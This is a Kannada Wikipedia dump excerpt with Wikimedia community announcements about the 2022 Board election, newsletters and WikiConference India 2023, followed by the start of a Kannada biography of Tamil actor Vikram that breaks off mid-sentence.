style="font-size:200%;">'''Movement Strategy and Governance News'''</span><br> <span style="font-size:120%; color:#404040;">'''Issue 7, July-September 2022'''</span><span style="font-size:120%; float:right;">[[m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7|'''Read the full newsletter''']]</span> ---- Welcome to the 7th issue of Movement Strategy and Governance newsletter! The newsletter distributes relevant news and events about the implementation of Wikimedia's [[:m:Special:MyLanguage/Movement Strategy/Initiatives|Movement Strategy recommendations]], other relevant topics regarding Movement governance, as well as different projects and activities supported by the Movement Strategy and Governance (MSG) team of the Wikimedia Foundation. The MSG Newsletter is delivered quarterly, while the more frequent [[:m:Special:MyLanguage/Movement Strategy/Updates|Movement Strategy Weekly]] will be delivered weekly. Please remember to subscribe [[m:Special:MyLanguage/Global message delivery/Targets/MSG Newsletter Subscription|here]] if you would like to receive future issues of this newsletter. </div><div style="margin-top:3px; padding:10px 10px 10px 20px; background:#fffff; border:2px solid #808080; border-radius:4px; font-size:100%;"> * '''Movement sustainability''': Wikimedia Foundation's annual sustainability report has been published. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A1|continue reading]]) * '''Improving user experience''': recent improvements on the desktop interface for Wikimedia projects. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A2|continue reading]]) * '''Safety and inclusion''': updates on the revision process of the Universal Code of Conduct Enforcement Guidelines. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A3|continue reading]]) * '''Equity in decisionmaking''': reports from Hubs pilots conversations, recent progress from the Movement Charter Drafting Committee, and a new white paper for futures of participation in the Wikimedia movement. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A4|continue reading]]) * '''Stakeholders coordination''': launch of a helpdesk for Affiliates and volunteer communities working on content partnership. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A5|continue reading]]) * '''Leadership development''': updates on leadership projects by Wikimedia movement organizers in Brazil and Cape Verde. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A6|continue reading]]) * '''Internal knowledge management''': launch of a new portal for technical documentation and community resources. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A7|continue reading]]) * '''Innovate in free knowledge''': high-quality audiovisual resources for scientific experiments and a new toolkit to record oral transcripts. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A8|continue reading]]) * '''Evaluate, iterate, and adapt''': results from the Equity Landscape project pilot ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A9|continue reading]]) * '''Other news and updates''': a new forum to discuss Movement Strategy implementation, upcoming Wikimedia Foundation Board of Trustees election, a new podcast to discuss Movement Strategy, and change of personnel for the Foundation's Movement Strategy and Governance team. ([[:m:Special:MyLanguage/Movement Strategy and Governance/Newsletter/7#A10|continue reading]]) </div><section end="msg-newsletter"/> [[ಸದಸ್ಯ:CSinha (WMF)|CSinha (WMF)]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:CSinha (WMF)|ಚರ್ಚೆ]]) ೧೨:೫೪, ೨೪ ಜುಲೈ ೨೦೨೨ (UTC) == Vote for Election Compass Statements == :''[[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Announcement/Vote for Election Compass Statements| You can find this message translated into additional languages on Meta-wiki.]]'' :''<div class="plainlinks">[[m:Special:MyLanguage/Wikimedia Foundation elections/2022/Announcement/Vote for Election Compass Statements|{{int:interlanguage-link-mul}}]] • [https://meta.wikimedia.org/w/index.php?title=Special:Translate&group=page-{{urlencode:Wikimedia Foundation elections/2022/Announcement/Vote for Election Compass Statements}}&language=&action=page&filter= {{int:please-translate}}]</div>'' Dear community members, Volunteers in the [[m:Special:MyLanguage/Wikimedia Foundation elections/2022|2022 Board of Trustees election]] are invited to '''[[m:Special:MyLanguage/Wikimedia_Foundation_elections/2022/Community_Voting/Election_Compass/Statements|vote for statements to use in the Election Compass]]'''. You can vote for the statements you would like to see included in the Election Compass on Meta-wiki. An Election Compass is a tool to help voters select the candidates that best align with their beliefs and views. The community members will propose statements for the candidates to answer using a Lickert scale (agree/neutral/disagree). The candidates’ answers to the statements will be loaded into the Election Compass tool. Voters will use the tool by entering in their answer to the statements (agree/neutral/disagree). The results will show the candidates that best align with the voter’s beliefs and views. Here is the timeline for the Election Compass: *<s>July 8 - 20: Volunteers propose statements for the Election Compass</s> *<s>July 21 - 22: Elections Committee reviews statements for clarity and removes off-topic statements</s> *July 23 - August 1: Volunteers vote on the statements *August 2 - 4: Elections Committee selects the top 15 statements *August 5 - 12: candidates align themselves with the statements *August 15: The Election Compass opens for voters to use to help guide their voting decision The Elections Committee will select the top 15 statements at the beginning of August Regards, Movement Strategy and Governance ''This message was sent on behalf of the Board Selection Task Force and the Elections Committee'' [[ಸದಸ್ಯ:CSinha (WMF)|CSinha (WMF)]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:CSinha (WMF)|ಚರ್ಚೆ]]) ೦೭:೦೦, ೨೬ ಜುಲೈ ೨೦೨೨ (UTC) == ವರ್ಷಗಳನ್ನು ಸೇರಿಸಲು ಅನುಮತಿ ಕೊಡಿ == [[:ವರ್ಗ:ವರ್ಷಗಳು]] ಇದರಲ್ಲಿ ಶತಮಾನದ ಪ್ರತಿ ವರ್ಷ ಸೇರಿಸಲು ಅನುಮತಿ ನೀಡಿ. ಇದರಲ್ಲಿ ೨ ಕೆಬಿಗಿಂತ ಕಡಿಮೆ ಮಾಹಿತಿ ಇರುತ್ತದೆ. [[ಸದಸ್ಯ:Gangaasoonu|Gangaasoonu]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:Gangaasoonu|ಚರ್ಚೆ]]) ೨೨:೪೮, ೧೪ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) ::@[[ಸದಸ್ಯ:Gangaasoonu|Gangaasoonu]], ನೀವು ಪುಟವನ್ನು ರಚಿಸುವಾಗ {{t|stub}} /{{t|ಚುಟುಕು}} ಟೆಂಪ್ಲೇಟ್ಅನ್ನು ಬಳಸಿಕೊಂಡು ಹೊಸ ಸಣ್ಣ ಪುಟವನ್ನು ರಚಿಸಬಹುದು.<span style="text-shadow: 0 0 8px silver; padding:4px; background: ivory; font-weight:bold;">[[User:~aanzx|~aanzx]] <sup>[[user_talk:~aanzx|<big>✉</big>]]</sup><sub>[[Special:Contributions/~aanzx|<big> ©</big>]]</sub></span> ೦೫:೨೧, ೧೬ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) == Delay of Board of Trustees Election == Dear community members, I am reaching out to you today with an update about the timing of the voting for the Board of Trustees election. As many of you are already aware, this year we are offering an [[m:Special:MyLanguage/Wikimedia_Foundation_elections/2022/Community_Voting/Election_Compass|Election Compass]] to help voters identify the alignment of candidates on some key topics. Several candidates requested an extension of the character limitation on their responses expanding on their positions, and the Elections Committee felt their reasoning was consistent with the goals of a fair and equitable election process. To ensure that the longer statements can be translated in time for the election, the Elections Committee and Board Selection Task Force decided to delay the opening of the Board of Trustees election by one week - a time proposed as ideal by staff working to support the election. Although it is not expected that everyone will want to use the Election Compass to inform their voting decision, the Elections Committee felt it was more appropriate to open the voting period with essential translations for community members across languages to use if they wish to make this important decision. '''The voting will open on August 23 at 00:00 UTC and close on September 6 at 23:59 UTC.''' Best regards, Matanya, on behalf of the Elections Committee [[ಸದಸ್ಯ:CSinha (WMF)|CSinha (WMF)]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:CSinha (WMF)|ಚರ್ಚೆ]]) ೦೭:೪೧, ೧೫ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) == CIS-A2K Newsletter July 2022 == <br /><small>Really sorry for sending it in English, feel free to translate it into your language.</small> [[File:Centre for Internet And Society logo.svg|180px|right|link=]] Dear Wikimedians, Hope everything is fine. As CIS-A2K update the communities every month about their previous work via the Newsletter. Through this message, A2K shares its July 2022 Newsletter. In this newsletter, we have mentioned A2K's conducted events. ; Conducted events * [[:m:CIS-A2K/Events/Partnerships with Marathi literary institutions in Hyderabad|Partnerships with Marathi literary institutions in Hyderabad]] * [[:m:CIS-A2K/Events/O Bharat Digitisation project in Goa Central library|O Bharat Digitisation project in Goa Central Library]] * [[:m:CIS-A2K/Events/Partnerships with organisations in Meghalaya|Partnerships with organisations in Meghalaya]] ; Ongoing events * Partnerships with Goa University, authors and language organisations ; Upcoming events * [[:m:CIS-A2K/Events/Gujarati Wikisource Community skill-building workshop|Gujarati Wikisource Community skill-building workshop]] Please find the Newsletter link [[:m:CIS-A2K/Reports/Newsletter/July 2022|here]]. <br /><small>If you want to subscribe/unsubscibe this newsletter, click [[:m:CIS-A2K/Reports/Newsletter/Subscribe|here]]. </small> Thank you [[User:Nitesh (CIS-A2K)|Nitesh (CIS-A2K)]] ([[User talk:Nitesh (CIS-A2K)|talk]]) 15:10, 17 August 2022 (UTC) <small>On behalf of [[User:Nitesh (CIS-A2K)]]</small> <!-- Message sent by User:Nitesh (CIS-A2K)@metawiki using the list at https://meta.wikimedia.org/w/index.php?title=CIS-A2K/Reports/Newsletter/Subscribe/VP&oldid=18069678 --> == WikiConference India 2023: Initial conversations == Dear Wikimedians, Hope all of you are doing well. We are glad to inform you to restart the conversation to host the next WikiConference India 2023 after WCI 2020 which was not conducted due to the unexpected COVID-19 pandemic, it couldn't take place. However, we are hoping to reinitiate this discussion and for that we need your involvement, suggestions and support to help organize a much needed conference in February-March of 2023. The proposed 2023 conference will bring our energies, ideas, learnings, and hopes together. This conference will provide a national-level platform for Indian Wikimedians to connect, re-connect, and establish their collaboration itself can be a very important purpose on its own- in the end it will empower us all to strategize, plan ahead and collaborate- as a movement. We hope we, the Indian Wikimedia Community members, come together in various capacities and make this a reality. We believe we will take learnings from earlier attempts, improve processes & use best practices in conducting this conference purposefully and fruitfully. Here is a survey [https://docs.google.com/forms/d/e/1FAIpQLSfof80NVrf3b9x3AotDBkICe-RfL3O3EyTM_L5JaYM-0GkG1A/viewform form] to get your responses on the same notion. Unfortunately we are working with short timelines since the final date of proposal submission is 5 September. We request you please fill out the form by 28th August. After your responses, we can decide if we have the community need and support for the conference. You are also encouraged to add your support on [[:m:WikiConference_India_2023:_Initial_conversations|'''this page''']], if you support the idea. Regards, [[User:Nitesh Gill|Nitesh Gill]], [[User:Nivas10798|Nivas10798]], [[User:Neechalkaran|Neechalkaran]], ೦೬:೩೯, ೨೪ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) <!-- Message sent by User:KCVelaga@metawiki using the list at https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/South_Asia_Village_Pumps&oldid=23115331 --> sbkgknfps93nfscncxrvpkwirv1cjit ವಿಕ್ರಮ್ (ನಟ) 0 116825 1116463 1016507 2022-08-23T13:03:42Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{wd}} '''ಕೆನಡಿ ಜಾನ್ ವಿಕ್ಟರ್''' (ಜನನ ೧೭ ಏಪ್ರಿಲ್ ೧೯೬೬), ಅವರು ವಿಕ್ರಮ್ ಅಥವಾ ಚಿಯಾನ್ ವಿಕ್ರಮ್ ಎಂದೇ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರಾಗಿರುವ ಒಬ್ಬ [[ಭಾರತೀಯ]] ನಟ ಮತ್ತು ಗಾಯಕ, ಅವರು ಮುಖ್ಯವಾಗಿ ತಮಿಳು ಭಾಷೆಯ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತಾರೆ. ಅವರು ಏಳು [[ಫಿಲ್ಮ್‌ಫೇರ್]] ಪ್ರಶಸ್ತಿಗಳನ್ನು ಹಾಗೂ ಒಂದು ರಾಷ್ಟ್ರೀಯ ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿ ಮತ್ತು [[ತಮಿಳುನಾಡು]] ರಾಜ್ಯ ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿಯನ್ನು ಗೆದ್ದಿದ್ದಾರೆ ಮತ್ತು ಮೇ ೨೦೧೧ ರಲ್ಲಿ ಪೀಪಲ್ಸ್ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಮಿಲನ್ ಗೌರವ ಡಾಕ್ಟರೇಟ್ ಪಡೆದರು. ವಿಕ್ರಮ್ ವಿವಿಧ ಸಾಮಾಜಿಕ ಕಾರಣಗಳನ್ನು ಉತ್ತೇಜಿಸಿದ್ದಾರೆ ಮತ್ತು ೨೦೧೧ ರಲ್ಲಿ ವಿಶ್ವಸಂಸ್ಥೆಯ ಮಾನವ ವಸಾಹತು ಕಾರ್ಯಕ್ರಮದ ಯುವ ರಾಯಭಾರಿಯಾಗಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಅವರು ಸಂಜೀವನಿ ಟ್ರಸ್ಟ್‌ನ ಬ್ರಾಂಡ್ ಅಂಬಾಸಿಡರ್ ವಿಕ್ರಮ್ ಫೌಂಡೇಶನ್ ಮೂಲಕ ತನ್ನದೇ ಆದ ಕಲ್ಯಾಣ ಸಂಘವನ್ನು ನಡೆಸುತ್ತಿದ್ದಾರೆ. ೨೦೧೫ ರಲ್ಲಿ ದಕ್ಷಿಣ ಭಾರತದ ಪ್ರವಾಹದ ನಂತರ ನಗರದ ಸ್ವಯಂಸೇವಕರಿಗೆ ಗೌರವ ಸೂಚಕವಾಗಿ ಅವರು ೨೦೧೬ ರಲ್ಲಿ ಸ್ಪಿರಿಟ್ ಆಫ್ [[ಚೆನ್ನೈ]]ನ ಪ್ರವಾಹ ಪರಿಹಾರ ಗೀತೆಯಾದ ವೀಡಿಯೊವನ್ನು ನಿರ್ಮಿಸಿ ನಿರ್ದೇಶಿಸಿದರು.<ref>{{cite web |title=Vikram happy at being chosen UN Youth envoy |url=https://www.deccanherald.com/content/155996/vikram-happy-being-chosen-un.html |website=Deccan Herald |accessdate=11 January 2020 |language=en |date=23 April 2011}}</ref> ==ಆರಂಭಿಕ ಜೀವನ== ವಿಕ್ರಮ್ ತಮಿಳುನಾಡಿನ ಮದ್ರಾಸ್ನಲ್ಲಿ ಜನಿಸಿದರು. ಅವರ ತಂದೆ ಜಾನ್ ವಿಕ್ಟರ್ ಪರಮಕುಡಿ ಮೂಲದವರಾಗಿದ್ದು, ತಾಯಿ ರಾಜೇಶ್ವರಿ ಉಪ ಸಂಗ್ರಾಹಕರಾಗಿದ್ದರು.<ref>{{cite web |title=Southern spice |url=https://www.telegraphindia.com/culture/style/southern-spice/cid/1553500 |website=www.telegraphindia.com |accessdate=11 January 2020 |language=en}}</ref> ವಿಕ್ರಮ್ ಅವರು [[ಸೇಲಂ]] ಬಳಿಯ ಗಿರಿಧಾಮದಲ್ಲಿರುವ ಬೋರ್ಡಿಂಗ್ ಶಾಲೆಯಾದ ಯೆರ್ಕಾಡ್ನ ಮಾಂಟ್ಫೋರ್ಟ್ ಶಾಲೆಯಲ್ಲಿ ಶಿಕ್ಷಣ ಪಡೆದರು. ಮತ್ತು ೧೯೮೩ ರಲ್ಲಿ ಪದವಿ ಪಡೆದರು. ಕರಾಟೆ, ಕುದುರೆ ಸವಾರಿ ಮತ್ತು ಈಜುಗಳಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುವ ಮೂಲಕ ಶಾಲೆಯಲ್ಲಿ ತಮ್ಮ ಅವಕಾಶಗಳನ್ನು ಚೆನ್ನಾಗಿ ಬಳಸಿಕೊಂಡರು ಎಂದು ಅವರು ಉಲ್ಲೇಖಿಸಿದ್ದಾರೆ ಮತ್ತು ಅಂತಹ ಆರಂಭಿಕ ಮಾನ್ಯತೆ ಚಟುವಟಿಕೆಗಳಿಗೆ ಅವರು ಯುವಕರಾಗಿ ವಿಶ್ವಾಸವನ್ನು ನೀಡಿದರು. ವಿಕ್ರಮ್ ಶಾಲೆಯ ಥಿಯೇಟರ್ ಕ್ಲಬ್‌ನ ಅಂಚಿನಲ್ಲಿ ಸುದೀರ್ಘ ಕಾಲ ಸುಳಿದಾಡುತ್ತಿದ್ದರು ಮತ್ತು ಮೂಲ ಸೀಸವು ಚಿಕನ್ ಪೋಕ್ಸ್‌ಗೆ ತುತ್ತಾದ ನಂತರ ಮೊಲಿಯೆರ್‌ನ ದಿ ಡಾಕ್ಟರ್ ಇನ್ ಸ್ಪೈಟ್ ಆಫ್ ಹಿಮ್ಸೆಲ್ಫ್‌ನ ಶಾಲೆಯ ರೂಪಾಂತರದಲ್ಲಿ ಪ್ರಮುಖ ಪಾತ್ರವನ್ನು ವಹಿಸುವ ಮೊದಲು ತೆರೆಮರೆಯ ಕೆಲಸಗಳಲ್ಲಿ ಪಾಲ್ಗೊಂಡರು. ಶಾಲೆಯ ನಂತರ ಚಲನಚಿತ್ರಗಳಿಗೆ ಸೇರಲು ತನ್ನ ಆಸಕ್ತಿಯನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರೂ, ಅವರ ತಂದೆ ವಿಕ್ರಮ್ ಅವರೊಂದಿಗೆ ಶಿಕ್ಷಣವನ್ನು ಪಡೆಯಲು ಒತ್ತಾಯಿಸಿದರು ತರುವಾಯ ಚೆನ್ನೈನ ಲೊಯೊಲಾ ಕಾಲೇಜಿನಿಂದ ಇಂಗ್ಲಿಷ್ ಸಾಹಿತ್ಯದಲ್ಲಿ ಪದವಿ ಪಡೆದರು ಮತ್ತು ಎಂಬಿಎ ಕಾರ್ಯಕ್ರಮದತ್ತ ಅರ್ಧದಷ್ಟು ಕೆಲಸ ಮಾಡಿದರು. ಸಮೃದ್ಧ ನಾಟಕ ಕ್ಲಬ್ ಮೂಲಕ, ವಿಕ್ರಮ್ ದಿ ಕೇನ್ ಮ್ಯುಟಿನಿ ಕೋರ್ಟ್-ಮಾರ್ಷಲ್ ಮತ್ತು ಪೀಟರ್ ಶಾಫರ್ ಅವರ ಬ್ಲ್ಯಾಕ್ ಕಾಮಿಡಿಯ ಕಾಲೇಜು ರೂಪಾಂತರಗಳು ಸೇರಿದಂತೆ ರಂಗ ನಿರ್ಮಾಣಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡರು. ಅವರ ಅಭಿನಯಕ್ಕಾಗಿ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಪಡೆದರು. ಐಐಟಿ ಮದ್ರಾಸ್‌ನಲ್ಲಿ ನಡೆದ ಸಮಾರಂಭದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ ಪಡೆದ ನಂತರ, ವಿಕ್ರಮ್ ಮನೆಗೆ ಹೋಗುವಾಗ ಮೋಟಾರುಬೈಕಿನಲ್ಲಿ ಸವಾರಿ ಮಾಡುವಾಗ ಟ್ರಕ್‌ಗೆ ಡಿಕ್ಕಿ ಹೊಡೆದಿದ್ದು, ಕಾಲಿಗೆ ಗಂಭೀರವಾದ ಗಾಯವಾಗಿತ್ತು. ವಿಕ್ರಮ್ ತನ್ನ ಅಪಘಾತದ ನಂತರ ತನ್ನ ಪದವಿಯ ಅಂತಿಮ ವರ್ಷವನ್ನು ಮುಗಿಸಲು ಹಿಂದಿರುಗಿದರು.<ref>{{cite web |title=Long, winding path to success for Vikram - Nation {{!}} The Star Online |url=http://thestar.com.my/news/story.asp?file=%2F2011%2F7%2F28%2Fnation%2F9176084&sec=nation |website=web.archive.org |accessdate=11 January 2020 |date=19 October 2012 |archive-date=19 ಅಕ್ಟೋಬರ್ 2012 |archive-url=https://web.archive.org/web/20121019105521/http://thestar.com.my/news/story.asp?file=%2F2011%2F7%2F28%2Fnation%2F9176084&sec=nation |url-status=bot: unknown }}</ref> ==ಚಲನಚಿತ್ರ ಮತ್ತು ದೂರದರ್ಶನ ವೃತ್ತಿ== ನಟನೆಯ ಹೊರತಾಗಿ, ವಿಕ್ರಮ್ ಇತರ ಚಲನಚಿತ್ರ ನಿರ್ಮಾಣ ಪ್ರಕ್ರಿಯೆಗಳಲ್ಲಿ ಒಂದು ಭಾಗವಾಗಿದ್ದು, ಹಿನ್ನೆಲೆ ಗಾಯಕನಾಗಿ ಮತ್ತು ಸಹಾಯಕ ನಿರ್ದೇಶಕರಾಗಿ ಸಲ್ಲುತ್ತದೆ. ೨೦೦೦ ರಲ್ಲಿ, ವಿಕ್ರಮ್ ಮತ್ತು ನಟಿ ಮೀನಾ ಅವರು ಕದಾಲಿಸಂ ಎಂಬ ಪಾಪ್ ಆಲ್ಬಂ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದರು, ಈ ಜೋಡಿಯು ಸಂಗೀತ ವೀಡಿಯೊಗಳಲ್ಲಿ ಹಾಡುತ್ತದೆ ಮತ್ತು ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ, ಆದರೂ ಹೆಚ್ಚಿನ ಪ್ರಚಾರವಿಲ್ಲದೆ ಈ ಯೋಜನೆ ಪೂರ್ಣಗೊಂಡಿತು.<ref>http://cinematoday2.itgo.com/44Hot%20News%20Just%20for%20U.htm</ref> ವಿಕ್ರಮ್ ಅವರ ೨೦೦೨ ರ ಚಲನಚಿತ್ರ ಜೆಮಿನಿ ಚಿತ್ರಕ್ಕಾಗಿ ಭಾರತ್ವಾಜ್ ಅವರ ಸಂಗೀತದ ಯಶಸ್ಸಿನ ನಂತರ, ವಿಕ್ರಮ್ "ಓ ಪೊಡು!" ಎಂಬ ಹಿಟ್ ಹಾಡಿನ ಆವೃತ್ತಿಯನ್ನು ಹಾಡಿದರು. ಆಲ್ಬಮ್‌ನ ವಿಸ್ತೃತ ಆವೃತ್ತಿಗೆ. ೨೦೦೯ ರಲ್ಲಿ ಕಾಂತಸ್ವಾಮಿ ನಿರ್ಮಾಣದ ಸಮಯದಲ್ಲಿ, ಸಂಗೀತ ಸಂಯೋಜಕ ದೇವಿ ಶ್ರೀ ಪ್ರಸಾದ್ ಅವರು ಮಲೇಷ್ಯಾದಲ್ಲಿ ಚಿತ್ರದ ಹಾಡಿನ ಸಂಯೋಜನೆಯ ಸಮಯದಲ್ಲಿ ಕೆಲವು ಒರಟು ಹಾಡುಗಳನ್ನು ಹಾಡಲು ವಿಕ್ರಮ್ ಅವರನ್ನು ಕೇಳಿದ್ದರು. ನಿರ್ಮಾಪಕರು ಅವರ ಧ್ವನಿಯಿಂದ ಪ್ರಭಾವಿತರಾದರು ಮತ್ತು ವಿಕ್ರಮ್ ಚಿತ್ರದಲ್ಲಿ ನಾಲ್ಕು ಹಾಡುಗಳನ್ನು ಹಾಡಿದರು.<ref>{{cite web |title=Vikram, now a playback singer too |url=https://www.thehindu.com/todays-paper/tp-national/tp-tamilnadu/Vikram-now-a-playback-singer-too/article16333668.ece |website=The Hindu |accessdate=11 January 2020 |language=en-IN |date=14 February 2009}}</ref> ಇದಲ್ಲದೆ, ವಿಕ್ರಮ್ ಎಲ್ಲಾ ನಾಲ್ಕು ಹಾಡುಗಳನ್ನು ಮಲ್ಲಾನಾ ಎಂಬ ಆಲ್ಬಂನ ತೆಲುಗು ಆವೃತ್ತಿಯಲ್ಲಿ ದಾಖಲಿಸಿದ್ದಾರೆ.<ref>{{cite web |title=Vikram shows singers the door - Behindwoods.com - Tamil Movies News - Vikram Kanthaswamy Kuchi Mittai |url=http://www.behindwoods.com/tamil-movie-news-1/feb-09-01/vikram-06-02-09.html |website=www.behindwoods.com |accessdate=11 January 2020}}</ref> ನಂತರ ಅವರು ಮದ್ರಸಪಟ್ಟಣಂನಲ್ಲಿ ಜಿ. ವಿ. ಪ್ರಕಾಶ್ ಕುಮಾರ್ ಅವರ ಆಲ್ಬಂಗಾಗಿ "ಮೇಘಾಮ್" ನಲ್ಲಿ ಐದು ವಿಭಿನ್ನ ಧ್ವನಿಗಳನ್ನು ನೀಡುವ ಮೂಲಕ ಅವರು ಸಂಬಂಧವಿಲ್ಲದ ಚಿತ್ರಕ್ಕಾಗಿ ಹಾಡಿದರು.<ref>{{cite web |title=Vikram sings for his next - Times of India |url=https://timesofindia.indiatimes.com/entertainment/regional/movie-details/news-interviews/Vikram-sings-for-his-next/articleshow/7445590.cms?referral=PM |website=The Times of India |accessdate=11 January 2020 |language=en}}</ref> ಪ್ರಕಾಶ್ ಕುಮಾರ್ ಅವರ ದಿವಾ ತಿರುಮಾಗಲ್ ಗಾಗಿ ಅವರು ಇನ್ನೂ ಎರಡು ಹಾಡುಗಳನ್ನು ಹಾಡಿದರು, ಅವರ ಪಾತ್ರದ ಧ್ವನಿಯಲ್ಲಿ ಹಾಡಿದರು, ಆರು ವರ್ಷದ ಪ್ರಬುದ್ಧತೆಯ ವಯಸ್ಕ. ೨೦೧೧ ರಲ್ಲಿ, ಅವರು ಸಂಯೋಜಕ ಯುವನ್ ಶಂಕರ್ ರಾಜಾ ಅವರ ನಿರ್ದೇಶನದಲ್ಲಿ ರಾಜಪಟ್ಟೈ ಚಿತ್ರಕ್ಕಾಗಿ "ಲಡ್ಡು ಲಡ್ಡು" ಹಾಡನ್ನು ಹಾಡಿದರು. ವಿಕ್ರಮ್ ಜುಲೈ ೨೦೦೯ ರಲ್ಲಿ ತಮ್ಮದೇ ಆದ ನಿರ್ಮಾಣ ಸಂಸ್ಥೆ ರೀಲ್ ಲೈಫ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಅನ್ನು ಘೋಷಿಸಿದರು ಮತ್ತು ಶಾಸಿಕುಮಾರ್ ತಮ್ಮ ಮೊದಲ ಚಿತ್ರ ಆಕ್ಷನ್ ಥ್ರಿಲ್ಲರ್ ಈಸನ್ ಅನ್ನು ನಿರ್ದೇಶಿಸಲಿದ್ದಾರೆ ಎಂದು ಘೋಷಿಸಿದರು, ಇದರಲ್ಲಿ ಸಮುದ್ರಕಾನಿ, ವೈಭವ್, ಅಭಿನಯಾ ಮತ್ತು ಅಪರ್ಣ ಬಾಜ್ಪೈ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಆದಾಗ್ಯೂ, ೯೦% ಚಿತ್ರೀಕರಣ ಪೂರ್ಣಗೊಂಡ ನಂತರ, ವಿಕ್ರಮ್ ಸಾಶಿಕುಮಾರ್ ತನ್ನ ಬಜೆಟ್ ಅನ್ನು ಓವರ್ ಶಾಟ್ ಮಾಡಿದ್ದಾರೆ ಮತ್ತು ನಿರ್ದೇಶಕರು ಅಂತಿಮವಾಗಿ ಚಿತ್ರವನ್ನು ಖರೀದಿಸಿ ಬಿಡುಗಡೆ ಮಾಡಿದರು ಎಂದು ಉಲ್ಲೇಖಿಸಿ ಸಾಹಸದಿಂದ ಹೊರಬಂದರು. ಆದಾಗ್ಯೂ, ಈ ನಟನನ್ನು ನಂತರ ಅವರ ೨೦೧೩ ರ ದ್ವಿಭಾಷಾ ಚಿತ್ರ ಡೇವಿಡ್ ಗಾಗಿ ಮೂವರು ನಿರ್ಮಾಪಕರಲ್ಲಿ ಒಬ್ಬರನ್ನಾಗಿ ಪಟ್ಟಿ ಮಾಡಲಾಯಿತು, ಇದರಿಂದಾಗಿ ಚಲನಚಿತ್ರ ಹಣಕಾಸು ಕ್ಷೇತ್ರದಲ್ಲಿ ಪಾದಾರ್ಪಣೆ ಮಾಡಿದರು. ವಿಕ್ರಮ್ ಅವರು ಮಜಾದಲ್ಲಿ ಶಫಿ ನೇತೃತ್ವದಲ್ಲಿ ಸಹಾಯಕ ನಿರ್ದೇಶಕರಾಗಿಯೂ ಕೆಲಸ ಮಾಡಿದ್ದಾರೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ ಚಿತ್ರವನ್ನು ನಿರ್ದೇಶಿಸಲು ಬಯಸುತ್ತಾರೆ ಎಂದು ಉಲ್ಲೇಖಿಸಿದ್ದಾರೆ. ==ವೈಯಕ್ತಿಕ ಜೀವನ== ವಿಕ್ರಮ್ ೧೯೮೦ ರ ದಶಕದ ಉತ್ತರಾರ್ಧದಲ್ಲಿ ಶೈಲಾಜಾ ಬಾಲಕೃಷ್ಣನ್ ಅವರನ್ನು ಭೇಟಿಯಾದರು ಮತ್ತು ೧೯೯೨ ರಲ್ಲಿ ಗುರುವಾಯೂರ್ನಲ್ಲಿ ಡಜನ್ಗಟ್ಟಲೆ ಜೋಡಿಗಳೊಂದಿಗೆ ಸಾಮೂಹಿಕ ವಿವಾಹದಲ್ಲಿ ವಿವಾಹವಾದರು. ಈ ಜೋಡಿಯು ಚೆನ್ನೈನ ಲೊಯೊಲಾ ಕಾಲೇಜಿನಲ್ಲಿ ಚರ್ಚ್ನಲ್ಲಿ ಕಡಿಮೆ ಕೀಲಿ ವಿವಾಹ ಸಮಾರಂಭವನ್ನು ನಡೆಸಿತು. ಅವರು ಕೇರಳದ ತಲಶೇರಿ ಮೂಲದವರು ಮತ್ತು ಈಗ ಪ್ರಮುಖ ಚೆನ್ನೈ ಶಾಲೆಯಲ್ಲಿ ಮನೋವಿಜ್ಞಾನ ಶಿಕ್ಷಕರಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ವಿಶೇಷ ಅಗತ್ಯವಿರುವ ಜನರನ್ನು ಹೇಗೆ ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ವಿಕ್ರಮ್ ನಿರ್ವಹಿಸಿದ ಪಾತ್ರವನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲು ಸಹಾಯ ಮಾಡುವ ಬಗ್ಗೆ ವೃತ್ತಿಪರ ಸಲಹೆ ನೀಡುವ ಮೂಲಕ ಶೈಲಾಜಾ ಅವರು ದಿವಾ ತಿರುಮಗಲ್ ತಂಡದೊಂದಿಗೆ ಕೆಲಸ ಮಾಡಿದರು. ದಂಪತಿಗೆ 